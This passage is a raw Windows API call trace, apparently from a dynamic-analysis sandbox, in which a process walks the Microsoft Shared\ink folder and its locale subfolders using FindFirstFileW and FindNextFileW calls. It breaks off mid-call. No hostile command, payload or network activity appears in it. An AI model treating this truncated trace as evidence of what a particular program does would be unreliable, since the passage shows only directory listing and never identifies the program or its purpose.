ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.501] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.501] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.501] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.501] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.502] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0272.502] GetLastError () returned 0x12 [0272.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.502] GetLastError () returned 0x12 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.502] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.502] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0272.502] GetLastError () returned 0x12 [0272.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.502] GetLastError () returned 0x12 [0272.502] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.502] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.502] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0272.503] GetLastError () returned 0x12 [0272.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.572] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.572] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0272.572] GetLastError () returned 0x12 [0272.573] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0272.574] GetLastError () returned 0x12 [0272.574] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0272.575] GetLastError () returned 0x12 [0272.576] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0272.576] GetLastError () returned 0x12 [0272.577] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0272.577] GetLastError () returned 0x12 [0272.578] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0272.578] GetLastError () returned 0x12 [0272.578] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0272.579] GetLastError () returned 0x12 [0272.579] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.580] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.580] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.580] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.580] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.580] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0272.580] GetLastError () returned 0x12 [0272.581] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0272.581] GetLastError () returned 0x12 [0272.581] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0272.582] GetLastError () returned 0x12 [0272.582] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0272.582] GetLastError () returned 0x12 [0272.582] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0272.582] GetLastError () returned 0x12 [0272.582] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0272.582] GetLastError () returned 0x12 [0272.582] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0272.582] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0272.583] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0272.583] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0272.583] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.583] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: 